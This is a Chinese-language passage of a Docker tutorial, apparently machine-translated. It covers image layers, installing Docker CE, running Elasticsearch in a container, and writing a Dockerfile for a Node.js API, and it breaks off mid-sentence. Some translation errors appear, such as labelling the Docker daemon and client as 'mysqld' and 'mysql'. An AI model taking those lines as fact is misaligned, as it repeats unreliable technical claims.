容器内运行的进程通过命名空间和控制组进行隔离。虚拟机内运行的进程通过模拟硬件进行分离。
什么是 Docker 图像?
我们现在知道了 Docker 容器是什么以及它在高层次上的实现方式。让我们将重点转向 Docker 图像,这是容器在其之上运行的。
记住,Docker 图像是包含我们的应用程序及其所有依赖项的数据文件,打包成一个实体。让我们看看 Docker 图像的解剖结构,这将有助于我们构建自己的图像。
图像是分层的
一张图片是一个有序的 层 列表,其中每一层都是一个用于设置图像和容器的操作。这些操作可能包括设置/更新系统配置、环境变量、安装库或程序等。这些操作都在 Dockerfile 中指定。因此,每一层都对应于图像 Dockerfile 中的一个指令。
例如,如果我们需要为我们的后端 API 生成 Docker 图像,我们需要它安装 Node 生态系统,复制我们的应用程序代码,并使用 yarn 构建我们的应用程序。因此,我们的图像可能有以下层(底层先运行):
-
运行
yarn run build
-
在图像内复制应用程序代码
-
安装特定版本的 Node 和 yarn
-
[使用基础 Ubuntu 镜像]
每个这些操作都会创建一个层,这可以被视为设置过程中此点的镜像的 快照。下一个层依赖于前一个层。
最后,你得到一个按顺序依赖的层列表,这些层构成了最终的镜像。这个最终镜像可以用作另一个镜像的基础层——一个镜像简单地说是一组顺序的、依赖的、只读层。
运行容器
为了总结你到目前为止关于容器、镜像和层的所学内容,让我们看看当我们运行容器时会发生什么。
当运行容器时,会在只读镜像(由只读层组成)之上创建一个新的可写 容器层:
任何文件更改都包含在容器层中。这意味着当我们完成一个容器时,我们可以简单地退出容器(移除可写容器层),所有更改将被丢弃。
在这里我们不会过多地深入细节,但你可以通过向挂载的卷写入文件来持久化容器中的文件,并且你可以通过基于这些更改创建一个新的镜像来保留当前容器中的更改,使用 docker commit
。
因为容器只是一个在无状态的只读镜像之上的隔离、可写层,你可以有多个容器共享对同一镜像的访问。
设置 Docker 工具链
你现在知道了为什么、是什么以及如何,所以现在是时候通过将现有应用程序 Docker 化来巩固我们的理解了。
让我们先安装 Docker。这将允许我们在本地机器上生成镜像并作为容器运行它们。
Docker 有两个 版本——社区版(CE)和企业版(EE)。我们将使用 CE。
添加 Docker 软件包仓库
Docker 在官方 Ubuntu 仓库中,但那个版本可能已经过时。相反,我们将从 Docker 自己的官方仓库下载 Docker。
首先,让我们安装确保 apt
可以通过 HTTPS 使用 Docker 仓库的软件包:
$ sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
然后,添加 Docker 的官方 GPG 密钥。这允许你验证你下载的 Docker 软件包没有被损坏:
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
前面的命令使用 curl
下载 GPG 密钥并将其添加到 apt
。然后我们可以使用 apt-key
验证密钥的指纹为 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88
:
$ sudo apt-key fingerprint 0EBFCD88
pub 4096R/0EBFCD88 2017-02-22
Key fingerprint = 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88
uid Docker Release (CE deb) <docker@docker.com>
sub 4096R/F273FCD8 2017-02-22
请注意,您的指纹可能不同。始终参考 Docker 网站上公开发布的最新密钥。
然后,将 Docker 仓库添加到 apt 的仓库列表中,以便在它尝试查找软件包时搜索:
$ sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
最后,更新 apt 软件包索引,以便 apt 能够了解 Docker 仓库中的软件包:
$ sudo apt update
安装 Docker
Docker 现在可在官方 Docker 软件包注册库中作为 docker-ce 提供。但在安装 docker-ce 之前,我们应该移除机器上可能存在的旧版 Docker:
$ sudo apt remove -y docker docker-engine docker.io
现在,我们可以安装docker-ce
:
$ sudo apt install -y docker-ce
通过运行 sudo docker version
来验证安装是否正常工作。你应该得到类似于以下输出的结果:
$ sudo docker version
Client:
Version: 18.03.1-ce
API version: 1.37
Go version: go1.9.5
Git commit: 9ee9f40
Built: Thu Apr 26 07:17:38 2018
OS/Arch: linux/amd64
Experimental: false
Orchestrator: swarm
Server:
Engine:
Version: 18.03.1-ce
API version: 1.37 (minimum version 1.12)
Go version: go1.9.5
Git commit: 9ee9f40
Built: Thu Apr 26 07:15:45 2018
OS/Arch: linux/amd64
Experimental: false
Docker 引擎、守护进程和客户端
我们已经成功安装了 Docker,但如前所述,Docker 实际上是一套工具。当我们“安装 Docker”时,我们实际上是在安装Docker 引擎。
Docker 引擎由以下部分组成:
-
Docker 守护进程(mysqld,作为后台进程运行):
-
一个轻量级的容器运行时,用于运行你的容器
-
你需要构建镜像的工具
-
处理容器集群的工具,例如网络、负载均衡等
-
-
Docker 客户端(mysql),一个命令行界面,允许你与 Docker 守护进程交互
Docker 守护进程和客户端共同构成了 Docker 引擎。这类似于 npm 和 node 是如何捆绑在一起的。
Docker 守护进程公开了一个 REST API,Docker 客户端使用该 API 与 Docker 守护进程交互。这类似于mysql
客户端与mysqld
守护进程的交互,或者你的终端 shell 如何为你提供一个与机器交互的接口。
现在我们已经安装了 Docker,并准备好使用它来运行我们的应用程序。
在 Docker 上运行 Elasticsearch
我们的应用程序中最容易 Docker 化的组件是 Elasticsearch。这很容易,因为我们不需要编写自己的 Dockerfile——Elasticsearch 最新版本的 Docker 镜像已经由 Elastic 提供。我们只需要下载镜像并在本地 Elasticsearch 安装的替代位置运行它们。
Elastic 提供了三种类型的 Elasticsearch 镜像:
-
elasticsearch
(基本):带有 X-Pack 基本功能预安装并自动激活的 Elasticsearch,使用免费许可证 -
elasticsearch-platinum
:带有所有 X-Pack 功能预安装和激活的 Elasticsearch,使用 30 天试用许可证 -
elasticsearch-oss
:仅 Elasticsearch
我们不需要 X-Pack,因此我们将使用elasticsearch-oss
版本。
访问 Elastic 的 Docker 仓库:https://www.docker.elastic.co/
:
然后,运行docker pull
命令以获取 Elasticsearch 的最新版本,确保将elasticsearch
替换为elasticsearch-oss
:
$ docker pull docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
6.2.4: Pulling from elasticsearch/elasticsearch-oss
469cfcc7a4b3: Pull complete
8e27facfa9e0: Pull complete
cdd15392adc7: Pull complete
19ff08a29664: Pull complete
ddc4fd93fdcc: Pull complete
b723bede0878: Pull complete
Digest: sha256:2d9c774c536bd1f64abc4993ebc96a2344404d780cbeb81a8b3b4c3807550e57
Status: Downloaded newer image for docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
所有 Elasticsearch Docker 镜像都使用 centos:7 作为基础镜像。在这里,469cfcc7a4b3
是构成 centos:7 镜像的层,你可以看到后续层都是基于这个层构建的。
我们可以通过运行 docker images
来验证镜像是否已正确下载:
$ docker images
REPOSITORY TAG IMAGE ID SIZE
docker.elastic.co/elasticsearch/elasticsearch-oss 6.2.4 3822ba554fe9 424MB
Docker 将其文件存储在 /var/lib/docker
下。所有 Docker 镜像的元数据可以在 /var/lib/docker/image/overlay2/imagedb/content/sha256/
下找到,而镜像本身的 内容可以在 /var/lib/docker/overlay2
下找到。对于我们的 elasticsearch-oss
镜像,我们可以在 /var/lib/docker/image/overlay2/imagedb/content/sha256/3822ba554fe95f9ef68baa75cae97974135eb6aa8f8f37cadf11f6a59bde0139
文件中查看其元数据。
overlay2
表示 Docker 正在使用 OverlayFS 作为其存储驱动程序。在 Docker 的早期版本中,默认存储驱动程序是 AUFS。然而,由于 OverlayFS 更快且实现更简单,它已经取代了 AUFS。您可以通过运行 docker info
并查看 SD 字段的值来找出 Docker 正在使用的存储驱动程序。
运行容器
为了确保我们的 Docker 化 Elasticsearch 容器正在运行,我们首先应该停止现有的 Elasticsearch 守护进程:
$ sudo systemctl stop elasticsearch.service
$ sudo systemctl status elasticsearch.service
● elasticsearch.service - Elasticsearch
Loaded: loaded (/usr/lib/systemd/system/elasticsearch.service; disabled; vend
Active: inactive (dead)
Docs: http://www.elastic.co
作为测试,在我们的 API 仓库上运行 E2E 测试,并确保您得到类似于 Error: No Living connections
的错误。这意味着 Elasticsearch 没有运行,我们的 API 无法连接到它。
现在,使用 docker run
命令以容器形式运行 elasticsearch-oss
镜像:
$ docker run --name elasticsearch -e "discovery.type=single-node" -d -p 9200:9200 -p 9300:9300 docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
正如您可以使用 docker images
获取可用的 Docker 镜像列表一样,您可以使用 $ docker ps
获取 Docker 容器列表。在新的终端中运行以下命令:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a415f4b646e3 docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4 "/usr/local/bin/dock\u2026" About an hour ago Up About an hour 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp elasticsearch
在内部,Docker 在 elasticsearch-oss
镜像之上添加了一个可写层,并将其存储在 /var/lib/docker/containers
目录下:
$ tree a415f4b646e3a715dc9fa446744934fc99ea33dd28761456381b9b7f6dcaf76b/
a415f4b646e3a715dc9fa446744934fc99ea33dd28761456381b9b7f6dcaf76b/
├── checkpoints
├── config.v2.json
├── a415f4b646e3a715dc9fa446744934fc99ea33dd28761456381b9b7f6dcaf76b-json.log
├── hostconfig.json
├── hostname
├── hosts
├── mounts
│ └── shm
├── resolv.conf
└── resolv.conf.hash
3 directories, 7 files
config.v2.json
包含容器的元数据,例如其状态、进程 ID (PID)、启动时间、运行镜像、名称以及其存储驱动程序。<hash>-json.log
存储容器运行时的标准输出。
现在,随着我们的容器正在运行,当我们再次运行测试时,它们都通过了!如果我们停止容器并再次运行测试,它们会再次失败:
$ docker stop a415f4b646e3
a415f4b646e3
$ yarn run test:e2e # This should fail
您仍然可以使用 docker ps
查看已停止的容器。但是,默认情况下,docker ps
命令只列出正在运行的容器。您必须使用 -a
标志以确保已停止的容器被列出:
$ docker ps -a
理解 docker run 选项
现在我们已经证明我们的 Docker 化 Elasticsearch 实例可以工作,让我们回顾一下我们用来运行它的 docker run
命令:
$ docker run --name elasticsearch -e "discovery.type=single-node" -d -p 9200:9200 -p 9300:9300 docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
通过名称识别容器
您可以使用以下三种标识符之一来识别容器:
-
UUID 长标识符,例如,
a415f4b646e3a715dc9fa446744934fc99ea33dd28761456381b9b7f6dcaf76b
-
UUID 短标识符,例如,
a415f4b646e3
-
名称,例如,
nostalgic_euler
当你运行 docker run
命令时,如果没有为容器指定名称,Docker 守护进程将自动为你生成一个名称,其结构为 <形容词>_<名词>
. 然而,指定一个描述容器在整个应用程序中功能的名称可能更有帮助。我们可以通过 --name
标志来实现这一点。
设置环境变量
-e
标志允许我们设置环境变量。使用 -e
标志设置的环境变量将覆盖 Dockerfile 中设置的任何环境变量。
Elasticsearch 最大的优势之一是它是一个分布式数据存储系统,其中多个节点形成一个 集群,共同持有整个数据集的所有片段。然而,在用 Elasticsearch 开发时,我们不需要这种集群。
因此,我们将环境变量 discovery.type
设置为单节点值,以告诉 Elasticsearch 以单节点模式运行,而不是尝试加入集群(因为没有集群)。
以守护进程模式运行
由于 Elasticsearch 充当数据库,我们不需要保持交互式终端打开,而是可以将其作为后台守护进程运行。
我们可以使用 -d
标志在后台运行容器。
网络端口映射
每个容器都可以通过其自己的 IP 地址访问。例如,我们可以通过运行 docker inspect
并在 NetworkSettings.IPAddress
下查找来找到我们的 elasticsearch-oss
容器的 IP 地址。
$ docker inspect a415f4b646e3
[
{
"Id": "a415f4b646e3a71...81b9b7f6dcaf76b",
"Created": "2018-05-10T19:37:55.565685206Z",
"Image": "sha256:3822ba554fe9...adf11f6a59bde0139",
"Name": "/elasticsearch",
"Driver": "overlay2",
"NetworkSettings": {
"Ports": {
"9200/tcp": [{
"HostIp": "0.0.0.0",
"HostPort": "9200"
}],
"9300/tcp": [{
"HostIp": "0.0.0.0",
"HostPort": "9300"
}]
},
"Gateway": "172.17.0.1",
"IPAddress": "172.17.0.2",
...
}
...
}
]
你也可以使用 --format
或 -f
标志来检索你感兴趣的仅有的字段:
$ docker inspect -f '{{.NetworkSettings.IPAddress}}' elasticsearch
172.17.0.2
然而,我们的 API 本地实例假定 Elasticsearch 在 localhost:9200 上可用,而不是 172.17.0.2. 如果我们要为非容器化的 Elasticsearch 提供等效的行为,我们必须使 Elasticsearch 在 localhost:9200 上可用。这是 -p
标志的任务。
-p
标志 发布 容器的一个端口并将其绑定到主机端口:
$ docker run -p <host-port>:<container-port>
在我们的案例中,我们将 0.0.0.0
的 9200 端口绑定到容器的 9200 端口。0.0.0.0
是一个特殊地址,它指向你的本地开发机器。
0.0.0.0
你可以用多种方式在本地机器的不同上下文中引用你的本地机器,无论是在同一台机器的本地还是在私有网络中。
在我们的本地机器的上下文中,我们可以使用 127.0.0.0/8
环回地址. 任何发送到环回地址的数据都会发送回发送者;因此,我们可以使用 127.0.0.1
来指代我们的机器。
如果你的计算机是私有网络的一部分,你的计算机将在这个网络上分配一个 IP 地址。这些私有 IP 地址的范围有限,如 RFC 1918 中定义:
-
10.0.0.0
-10.255.255.255
(10/8
前缀) -
172.16.0.0
-172.31.255.255
(172.16/12
前缀) -
192.168.0.0
-192.168.255.255
(192.168/16
前缀)
0.0.0.0
是一个特殊地址,它包括您本地的回环地址和私有网络的 IP 地址。例如,如果您的私有 IP 地址是 10.194.33.8
,则发送到 127.0.0.1
和 10.194.33.8
的任何内容都将对监听 0.0.0.0
的任何服务可用。
因此,当我们将 0.0.0.0:9200
绑定到容器的端口 9200
时,我们将任何进入我们本地机器端口 9200 的请求转发到容器。
这意味着当我们运行我们的 E2E 测试时,每当我们的后端 API 向 localhost:9200
发送请求时,该请求将通过容器的 9200
端口内部转发。
您可以使用 docker port
命令查看所有端口映射:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a415f4b646e3 docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4 "/usr/local/bin/dock…" 2 hours ago Up 2 hours 0.0.0.0:9200->9200/tcp, 0.0.0.0:9300->9300/tcp elasticsearch
$ docker port a415f4b646e3
9300/tcp -> 0.0.0.0:9300
9200/tcp -> 0.0.0.0:9200
更新我们的测试脚本
我们已经成功地在 Docker 容器内部使用了 Elasticsearch,而不是我们的本地实例。这对于测试来说很棒,因为容器停止和删除后,对数据库的任何更改都会被擦除。
将 scripts/e2e.test.sh
更新为以下内容:
#!/bin/bash
# Set environment variables from .env and set NODE_ENV to test
source <(dotenv-export | sed 's/\\n/\n/g')
export NODE_ENV=test
# Make sure our local Elasticsearch service is not running
echo -ne ' 5% [## ] Stopping local Elasticsearch service \r'
sudo systemctl stop elasticsearch.service
# Download Elasticsearch Docker image
echo -ne ' 10% [#### ] Downloading Elasticsearch image \r'
docker pull docker.elastic.co/elasticsearch/elasticsearch-oss:${ELASTICSEARCH_VERSION} > /dev/null
# Get the Image ID for the Elasticsearch
echo -ne ' 20% [######## ] Retrieving Elasticsearch image ID \r'
ELASTICSEARCH_DOCKER_IMAGE_ID=$(docker images docker.elastic.co/elasticsearch/elasticsearch-oss --format '{{.ID}}')
# Get all running containers using the ELasticsearch Docker image and remove them
echo -ne ' 25% [########## ] Removing Existing Elasticsearch Containers\r'
docker ps -a --filter "ancestor=${ELASTICSEARCH_DOCKER_IMAGE_ID}" --format '{{.ID}}' | xargs -I_cid -- bash -c 'docker stop _cid && docker rm _cid' > /dev/null
# Run the Elasticsearch Docker image
echo -ne ' 35% [############## ] Initiating Elasticsearch Container \r'
docker run --name elasticsearch -e "discovery.type=single-node" -d -p ${ELASTICSEARCH_PORT}:9200 -p 9300:9300 docker.elastic.co/elasticsearch/elasticsearch-oss:${ELASTICSEARCH_VERSION} > /dev/null
# Polling to see if the Elasticsearch daemon is ready to receive a response
TRIES=0
RETRY_LIMIT=50
RETRY_INTERVAL=0.4
ELASTICSEARCH_READY=false
while [ $TRIES -lt $RETRY_LIMIT ]; do
if curl --silent localhost:${ELASTICSEARCH_PORT} -o /dev/null; then
ELASTICSEARCH_READY=true
break
else
sleep $RETRY_INTERVAL
let TRIES=TRIES+1
fi
done
echo -ne ' 50% [#################### ] Elasticsearch Container Initiated \r'
TRIES=0
if $ELASTICSEARCH_READY; then
# Clean the test index (if it exists)
echo -ne ' 55% [###################### ] Cleaning Elasticsearch Index \r'
curl --silent -o /dev/null -X DELETE "$ELASTICSEARCH_HOSTNAME:$ELASTICSEARCH_PORT/$ELASTICSEARCH_INDEX_TEST"
# Run our API server as a background process
echo -ne ' 60% [######################## ] Initiating API \r'
yarn run serve > /dev/null &
# Polling to see if the server is up and running yet
SERVER_UP=false
while [ $TRIES -lt $RETRY_LIMIT ]; do
if netstat -tulpn 2>/dev/null | grep -q ":$SERVER_PORT_TEST.*LISTEN"; then
SERVER_UP=true
break
else
sleep $RETRY_INTERVAL
let TRIES=TRIES+1
fi
done
# Only run this if API server is operational
if $SERVER_UP; then
echo -ne ' 75% [############################## ] API Initiated \r'
# Run the test in the background
echo -ne ' 80% [################################ ] Running E2E Tests \r'
npx dotenv cucumberjs spec/cucumber/features -- --compiler js:babel-register --require spec/cucumber/steps &
# Waits for the next job to terminate - this should be the tests
wait -n
fi
fi
# Stop all Elasticsearch Docker containers but don't remove them
echo -ne ' 98% [####################################### ] Tests Complete \r'
echo -ne ' 99% [####################################### ] Stopping Elasticsearch Containers \r'
docker ps -a --filter "ancestor=${ELASTICSEARCH_DOCKER_IMAGE_ID}" --format '{{.ID}}' | xargs -I{} docker stop {} > /dev/null
echo '100% [########################################] Complete '
# Terminate all processes within the same process group by sending a SIGTERM signal
kill -15 0
我们不再依赖测试人员手动启动 Elasticsearch 服务,现在我们将它作为脚本的一部分添加。
此外,我们还添加了一些 echo 语句来实现进度条。
Docker 化我们的后端 API
在 Docker 上运行 Elasticsearch 很容易,因为镜像已经为我们生成了。然而,将应用程序的其他部分 Docker 化需要稍微多一点努力。
我们将首先将后端 API Docker 化,因为这是前端客户端的一个先决条件。
具体来说,我们需要做以下几步:
-
编写一个 Dockerfile,设置我们的环境,以便我们可以运行我们的 API。
-
从我们的 Dockerfile 生成镜像。
-
在基于镜像的容器内运行我们的 API,同时确保它可以与运行在另一个 Docker 容器内的 Elasticsearch 实例通信。
下一个任务是编写我们的 Dockerfile,但在我们直接深入之前,让我先为您概述一下 Dockerfile 的结构和语法。
Dockerfile 概述
Dockerfile 是一个文本文件,其中每一行由一个 指令 后跟一个或多个 参数 组成:
INSTRUCTION arguments
指令有很多种。在这里,我们将解释最重要的几种。
要获取有效 Dockerfile 中所有指令和参数的完整参考,请参阅 docs.docker.com/engine/reference/builder/ 上的 Dockerfile 参考:
-
FROM
: 这指定了 基础镜像,这是我们基于自己的镜像构建的 Docker 镜像。每个 Dockerfile 必须有一个FROM
指令作为 第一个 指令。例如,如果我们想让我们的应用程序在 Ubuntu 18.04 机器上运行,那么我们会指定FROM ubuntu:bionic
。 -
RUN
: 这指定了在构建时运行的命令(s),当我们运行docker build
时。每个RUN
命令对应于包含我们的镜像的一层。 -
CMD / ENTRYPOINT
: 这指定了在容器通过docker run
启动后要执行的命令。至少应指定一个CMD
和/或ENTRYPOINT
命令。CMD
应用于为ENTRYPOINT
命令提供 默认 参数。Dockerfile 中应只有一个CMD
指令。如果提供了多个,则最后一个将被使用。 -
ADD / COPY
: 这会将文件、目录或远程文件 URL 复制到镜像文件系统的某个位置。COPY
与ADD
类似,但它不支持远程 URL,不展开归档文件,也不使缓存的RUN
指令失效(即使内容已更改)。您可以将COPY
视为ADD
的轻量级版本。在可能的情况下,您应该使用COPY
而不是ADD
。 -
WORKDIR
: 这更改了WORKDIR
指令之后的任何RUN
、CMD
、ENTRYPOINT
、COPY
和ADD
指令的工作目录。 -
ENV
: 这设置在构建 和 运行时都可用的环境变量。 -
ARG
: 这定义了可以在构建时(而不是运行时)通过将--build-arg <varname>=<value>
标志传递给docker build
来定义的变量。
ENV
和 ARG
都在构建时提供变量,但 ENV
的值也会持久化到构建的镜像中。在 ENV
和 ARG
变量同名的情况下,ENV
变量具有优先权:
EXPOSE
: 这充当一种文档形式,通知开发者容器内运行的服务正在监听哪些端口。
尽管其名称如此,EXPOSE
并不会将端口从容器暴露到主机。它的目的纯粹是用于文档。
还有其他一些不太常用的指令:
-
ONBUILD
: 这允许您添加由子镜像(使用当前镜像作为基础镜像的镜像)运行的命令。这些命令将在子镜像中的FROM
指令之后立即运行。 -
LABEL
: 这允许您以键值对的形式附加任意元数据到镜像。任何加载了该镜像的容器也会携带该标签。标签的用途非常广泛;例如,您可以使用它来使负载均衡器能够根据标签识别容器。 -
VOLUME
: 这指定了主机文件系统中的一个挂载点,您可以在容器被销毁后持久化数据。 -
HEALTHCHECK
: 这指定了定期运行的命令,以检查容器不仅活着,而且功能正常。例如,如果 Web 服务器进程正在运行,但不能接收请求,则会被视为不健康。 -
USER
: 这指定了构建/运行镜像时要使用的用户名或 UID。 -
STOPSIGNAL
: 这指定了将发送到容器的系统调用信号,以使其退出。
Dockerfile 指令不区分大小写。然而,惯例是使用大写。您还可以在 Dockerfile 中使用哈希符号 (#
) 添加注释:
# This is a docker comment
编写我们的 Dockerfile
现在我们已经对 Dockerfile 中可用的指令有了广泛的了解,让我们编写我们自己的 Dockerfile 来构建我们的后端 API。
选择基础镜像
首先要做的决定是选择一个基础镜像。通常,我们会选择一个 Linux 发行版作为我们的基础镜像。例如,我们可以选择 Ubuntu 作为我们的基础镜像:
FROM ubuntu:bionic
我们使用bionic
标签来指定我们想要的 Ubuntu 的确切版本(18.04 长期支持(LTS)版本)。
然而,实际上,Node 在 Docker Hub 上有一个自己的官方 Docker 镜像(hub.docker.com/_/node/)。因此,我们可以使用 Node Docker 镜像作为我们的基础镜像。
要使用 Node Docker 镜像作为基础镜像,将我们的FROM
指令替换为FROM node:8
:
FROM node:8
对于本地开发,我们一直在使用 NVM 来管理我们的 Node 版本。当我们在多个 JavaScript 项目上工作时,这很有用,因为它允许我们轻松地在不同的 Node 版本之间切换。然而,对于我们的容器没有这样的要求——我们的后端 API 镜像将始终只运行一个版本的 Node。因此,我们的 Docker 镜像应该有一个特定的版本。我们使用了标签8
,因为 Node 8 是当时可用的最新 LTS 版本。
Node Docker 镜像已经预装了 yarn,因此我们不需要安装更多的依赖项。
复制项目文件
接下来,我们需要将我们的项目代码复制到容器中。我们将使用COPY
指令,它具有以下签名:
COPY [--chown=<user>:<group>] <src>... <dest>
src
是在主机上文件将被复制的路径。src
路径将相对于上下文解析,上下文是我们运行docker build
时可以指定的目录。
dest
是在容器内部文件要复制的路径。dest
路径可以是绝对路径或相对路径。如果是相对路径,它将相对于WORKDIR
解析。
在FROM
指令下方,添加WORKDIR
和COPY
指令:
WORKDIR /root/
COPY . .
这只是将上下文中的所有文件复制到容器内的/root/
。
构建我们的应用程序
接下来,我们需要安装我们应用程序所需的 npm 包,并使用yarn run build
构建我们的应用程序。在COPY
指令之后添加以下行:
RUN yarn
RUN yarn run build
指定可执行文件
每个容器在初始化后都需要执行一个命令来运行。对于我们来说,这将是通过使用 node 命令来运行我们的应用程序:
CMD node dist/index.js
构建我们的镜像
我们的 Dockerfile 现在准备好了,我们可以使用它通过docker build
生成镜像,该命令具有以下签名:
$ docker build [context] -f [path/to/Dockerfile]
docker build
命令基于 Dockerfile 和上下文构建一个镜像。上下文是一个目录,它应该包含构建镜像所需的所有文件。在我们的例子中,它也是我们的应用程序代码要从中复制的位置。
例如,如果我们处于项目根目录,我们可以运行以下命令来构建我们的镜像,使用当前工作目录作为上下文:
$ docker build . -f ./Dockerfile
默认情况下,如果您没有指定 Dockerfile 的位置,Docker 会尝试在上下文的根目录中找到它。所以,如果您在上下文的根目录中,您可以简单地运行以下命令:
$ docker build .
然而,我们不想复制项目的所有内容,因为:
-
通常来说,添加不需要的东西是个糟糕的主意——这会让试图理解应用程序逻辑的人感到更困难,因为噪声更多。
-
它增加了镜像的大小
例如,在.git、node_modules 和 docs 目录中,有超过 320 MB 的内容——这些文件在我们的容器中构建和运行应用程序时并不需要。
$ du -ahd1 | sort -rh
323M .
202M ./.git
99M ./node_modules
21M ./docs
880K ./dist
564K ./src
340K ./coverage
176K ./.nyc_output
168K ./spec
140K ./yarn-error.log
128K ./yarn.lock
20K ./scripts
8.0K ./.vscode
8.0K ./.env.example
8.0K ./.env
4.0K ./package.json
4.0K ./.nvmrc
4.0K ./.gitmodules
4.0K ./.gitignore
4.0K ./.dockerignore
4.0K ./Dockerfile
4.0K ./.babelrc
因此,我们可以使用一个特殊的文件,称为.dockerignore
,它类似于.gitignore
,并将忽略上下文中的某些文件。
但我们不会指定要忽略哪些文件,而会更加明确地添加一个规则来忽略所有文件,并在随后的行中添加例外。将以下行添加到.dockerignore
中:
*
!src/**
!package.json
!yarn.lock
!spec/openapi/hobnob.yaml
!.babelrc
!.env
现在,运行$ docker build -t hobnob:0.1.0 .
并检查通过运行docker images
来确认镜像是否已创建:
$ docker build -t hobnob:0.1.0 .
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
hobnob 0.1.0 827ba45ed363 34 seconds ago 814MB
尽管镜像大小仍然相当大(814 MB),其中很大一部分来自标准的 node 镜像,该镜像大小为 673 MB。如果不限制上下文的范围,hobnob 镜像的大小很容易超过 1 GB。
运行我们的镜像
确保 Elasticsearch 容器正在运行,并且它已经将其端口绑定到我们的本地机器。然后,使用docker run
运行我们的 hobnob 镜像:
$ docker run --env-file ./.env --name hobnob -d -p 8080:8080 hobnob:0.1.0
注意,我们正在使用--env-file
选项在运行时传递环境变量,而不是在构建时。
为了检查我们的容器是否在无错误的情况下运行,检查容器内产生的 stdout,我们可以方便地使用docker logs
来检查:
$ docker logs hobnob
yarn run v1.5.1
$ node dist/index.js
Hobnob API server listening on port 8080!
如果容器的日志没有显示前面的成功消息,请返回并仔细重复这些步骤。您可能想要使用docker stop hobnob
和docker rm hobnob
来停止和删除容器,并使用docker rmi hobnob
来删除镜像。您还可以通过执行docker exec -it hobnob bash
进入容器(类似于 SSH)。
假设一切正常,我们仍然需要通过使用 curl 查询 API 来检查应用程序是否实际上可用:
$ curl localhost:8080/users
[]
$ curl -X POST http://localhost:8080/users/ \
-H 'Content-Type: application/json' \
-d '{
"email": "e@ma.il",
"digest": "$2y$10$6.5uPfJUCQlcuLO/SNVX3u1yU6LZv.39qOzshHXJVpaq3tJkTwiAy"}'
msb9amMB4lw6tgyQapgH
$ curl localhost:8080/users
[{"email":"e@ma.il"}]
这意味着来自我们主机的请求已成功到达我们的应用程序,并且应用程序可以成功与我们的数据库通信!
持久化数据
在我们完成迁移到 Docker 的最后一步之前,最重要的步骤是将我们的 Elasticsearch 容器内的数据持久化。
Docker 容器本质上是无状态的,这意味着在它们被删除后,容器内的数据将丢失。
为了持久化数据,或者允许容器使用现有数据,我们必须使用卷。现在让我们使用 docker CLI 来创建它:
$ docker volume create --name esdata
我们可以使用-v
标志来指示 Docker 将这个命名卷挂载到elasticsearch
容器内的/usr/share/elasticsearch/data
目录:
$ docker run \
--name elasticsearch \
-e "discovery.type=single-node" \
-d \
-p 9200:9200 -p 9300:9300 \
-v esdata:/usr/share/elasticsearch/data \
docker.elastic.co/elasticsearch/elasticsearch-oss:6.2.4
现在,如果我们删除elasticsearch
容器并使用前面的命令部署一个新的容器,数据将持久保存在名为 esdata 的命名卷中。
遵循最佳实践
接下来,让我们通过应用最佳实践来改进我们的 Dockerfile。
Shell 与 exec 形式
RUN
、CMD
和ENTRYPOINT
Dockerfile 指令都用于运行命令。然而,有两种方式来指定要运行的命令:
-
shell形式;
RUN yarn run build
:命令在新的 shell 进程中运行,默认情况下,在 Linux 上是/bin/sh -c
,在 Windows 上是cmd /S /C
-
exec形式;
RUN ["yarn", "run", "build"]
:命令不会在新的 shell 进程中运行
壳形式存在是为了让你能够使用像变量替换这样的壳处理功能,并将多个命令连接在一起。然而,并非每个命令都需要这些功能。在这些情况下,你应该使用 exec 形式。
当不需要 shell 处理时,exec 形式更受欢迎,因为它通过运行一个更少的进程(shell 进程)来节省资源。
我们可以通过使用 ps 来演示这一点,ps 是一个 Linux 命令行工具,可以显示当前进程的快照。首先,让我们使用docker exec
进入我们的容器:
$ docker exec -it hobnob bash
root@23694a23e80b#
现在,运行ps
以获取当前运行的进程列表。我们使用-o
选项来选择我们感兴趣的参数:
root@23694a23e80b# ps -eo pid,ppid,user,args --sort pid
PID PPID USER COMMAND
1 0 root /bin/sh -c node dist/index.js
7 1 root node dist/index.js
17 0 root bash
23 17 root ps -eo pid,ppid,user,args --sort pid
如您所见,使用 shell 形式时,/bin/sh
作为根 init 进程(PID 1)运行,并且是父进程调用 node。
忽略 bash 和 ps 进程。Bash 是我们运行docker exec -it hobnob bash
时与容器交互的进程,ps 是我们运行以获取输出的进程。
现在,如果我们更新 Dockerfile 中的RUN
和CMD
命令到 exec 形式,我们得到以下结果:
FROM node:8
WORKDIR /root
COPY . .
RUN ["yarn"]
RUN ["yarn", "run", "build"]
CMD ["node", "dist/index.js"]
如果我们运行这个新镜像并进入容器,我们可以再次运行我们的 ps 命令,并看到节点进程现在是根进程:
# ps -eo pid,ppid,user,args --sort pid
PID PPID USER COMMAND
1 0 root node dist/index.js
19 0 root bash
25 19 root ps -eo pid,ppid,user,args --sort pid
允许 Unix 信号传递
有些人可能会争论,在整体方案中,额外的进程并不重要,但运行命令在 shell 中的运行还有进一步的含义。
当使用 shell 形式进行CMD
或ENTRYPOINT
指令时,可执行文件将在一个额外的 shell 进程中运行,这意味着它将不会以 PID 1 运行,这意味着它将不会接收 Unix 信号。
Unix 信号由 Docker 守护进程传递以控制容器。例如,当运行docker stop hobnob
时,守护进程将向 hobnob 容器的根进程(PID 1)发送SIGTERM
信号。
当使用 shell 形式时,接收这个信号的是 shell。如果我们使用 sh 作为 shell,它将不会将信号传递给它正在运行的进程。
然而,我们还没有在我们的 Node.js 应用程序中添加任何代码来响应 Unix 信号。解决这个问题的最简单方法是将它包装在一个 init 系统中,这样当该系统收到 SIGTERM
